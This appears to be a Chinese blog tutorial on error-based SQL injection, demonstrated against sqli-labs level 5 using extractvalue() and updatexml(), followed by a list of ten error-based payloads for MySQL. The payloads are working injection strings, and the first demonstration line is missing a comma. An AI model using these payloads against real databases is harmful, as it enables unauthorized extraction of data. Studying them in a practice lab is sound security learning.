day6-SQL注入之报错回显

学习目标:

报错注入利用了数据库在遇到错误时返回的详细错误信息。攻击者通过构造恶意 SQL 查询,使数据库抛出异常,并从异常信息中提取数据库结构、表名、列名等敏感信息。
报错注入需要用到的两个数据库函数
1.updatexml():从目标XML中更改包含所查询值的字符串
2.extractvalue():从目标XML中返回包含所查询值的字符串

函数格式

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串)

报错原理

这两个函数中的第二个参数要求我们传入的都是Xpath类型的数据,至于什么是Xpath类型的数据呢照我的理解就是文件路径,我们通过在这个参数位置上输入MySQL代码来实现报错反馈。

学习内容:

接下来我们依然采用sqli-labs中的关卡来演示如何使用报错回显来获取数据
本次我们使用的是第五关,采用post的方式进行注入,
根据上一期我们已经学会了利用burp suite进行抓包,依然进行截取然后输入以下代码

uname=zhansan' union select 1,extractvalue(1,concat('~'(select version()),'~')) #&passwd=12345&submit=Submit

这里要注意一点函数内部使用sql语句时我们要加括号举例
concat(1,(select 1,2))
在这里插入图片描述
改好之后我们进行放行
在这里插入图片描述
这样我们就拿到了想要的数据

代码解析

uname=zhansan’ union select 1,extractvalue(1,concat(‘~’,(select version()),‘~’)) #
此代码是采用extract value函数进行回显报错,可以回到上面看到,此函数需要两个参数,第一个我们随便填,填1就可以了,第二个参数需要我们填写Xpath参数,但是我们在此注入是获取数据库的函数,这时此代码就会报错回显,在回显的过程中就会将我们第二个参数输出出来(也就是我们的代码),此时浏览器就会执行这句代码从而拿到我们要获取的数据
concat()函数的作用,我先给大家看一下不加concat的效果
在这里插入图片描述
可以看到我们拿到的数据是不完整的,所以需要整合以下,至于前后为什么要加~号,是因为后期我们采用工具注入时方便获取,记住就行我也是强记的。

其他语句

我还收集了以下其他的报错函数,大家可以自己去实验以下,具体的用法也可以百度一下
1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

总结

这一期还是比较好理解的,总体就是利用函数的报错将我们语句进行输出出来,从而拿到我们想要的信息

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值